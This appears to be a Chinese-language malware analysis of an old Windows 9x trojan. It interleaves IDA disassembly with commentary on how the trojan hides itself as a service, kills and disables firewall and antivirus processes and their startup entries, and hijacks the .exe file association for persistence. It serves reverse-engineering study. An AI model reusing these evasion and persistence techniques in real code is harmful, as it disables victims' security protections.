| 0042B1AC push offset aKernel32_dll ; "kernel32.dll"0042B1B1 call j_LoadLibraryA0042B1B6 mov [ebx], eax0042B1B8 push offset aRegisterservic ; "RegisterServiceProcess"0042B1BD mov eax, [ebx]0042B1BF push eax0042B1C0 call j_GetProcAddress0042B1C5 mov ds:dword_42EA5C, eax0042B1CA cmp ds:dword_42EA5C, 00042B1D1 jz short loc_42B1E10042B1D3 push 10042B1D5 call j_GetCurrentProcessId0042B1DA push eax0042B1DB call ds:dword_42EA5C 木马首先加载了kernel32.dll，然后利用GetProcAddress来得到RegisterServiceProcess这个API的地址，木马首先需要把自己注册为系统服务，这样在Win9x下运行时就不容易被任务管理器发现。然后它会GetCommandLineA来得到运行参数，如果参数是可执行文件的话就调用Winexec来运行。 | 0042B271 mov eax, ds:dword_42EA800042B276 mov edx, offset aSnfw_exe ; "snfw.exe"0042B27B call sub_4039000042B280 jz short loc_42B2930042B282 mov eax, ds:dword_42EA800042B287 mov edx, offset aKav9x_exe ; "kav9x.exe" 然后木马会查找snfw.exe和kav9x.exe的进程，也就是"天网防火墙"或"金山毒霸"的进程，然后将其杀掉。 | 0042B6AD push ebx0042B6AE push 00042B6B0 push 00042B6B2 push offset aSoftwareMicr_0 ; "Software\Microsoft\Windows\CurrentVersi"...0042B6B7 push 80000002h0042B6BC call j_RegOpenKeyExA_00042B6C1 push offset aKingsoftAntivi ; "Kingsoft AntiVirus"0042B6C6 mov eax, [ebx]0042B6C8 push eax0042B6C9 call j_RegDeleteValueA0042B6CE mov eax, [ebx]0042B6D0 push eax0042B6D1 call j_RegCloseKey_0 木马还会修改"天网防火墙"或"金山毒霸"在注册表中的启动项，使其在下次系统重新启动时无法自动运行。 | 0042B820 mov dword ptr [esi], 100h0042B826 push esi0042B827 push edi0042B828 push offset a_exe_1 ; ".exe"0042B82D push 80000000h0042B832 call j_RegQueryValueA0042B837 push 80042B839 push offset a1 ; ""%1" %*"0042B83E push 10042B840 lea eax, [ebp+var_10]0042B843 mov edx, edi0042B845 mov ecx, 100h0042B84A call sub_4037A00042B84F lea eax, [ebp+var_10]0042B852 mov edx, offset aShellOpenComma ; "\shell\open\command"0042B857 call sub_4037F80042B85C mov eax, [ebp+var_10]0042B85F call sub_4039A40042B864 push eax0042B865 push 80000000h0042B86A call j_RegSetValueA0042B86F push 00042B871 mov eax, ds:dword_42D0400042B876 mov eax, [eax]0042B878 push eax0042B879 call j_WinExec | | | |
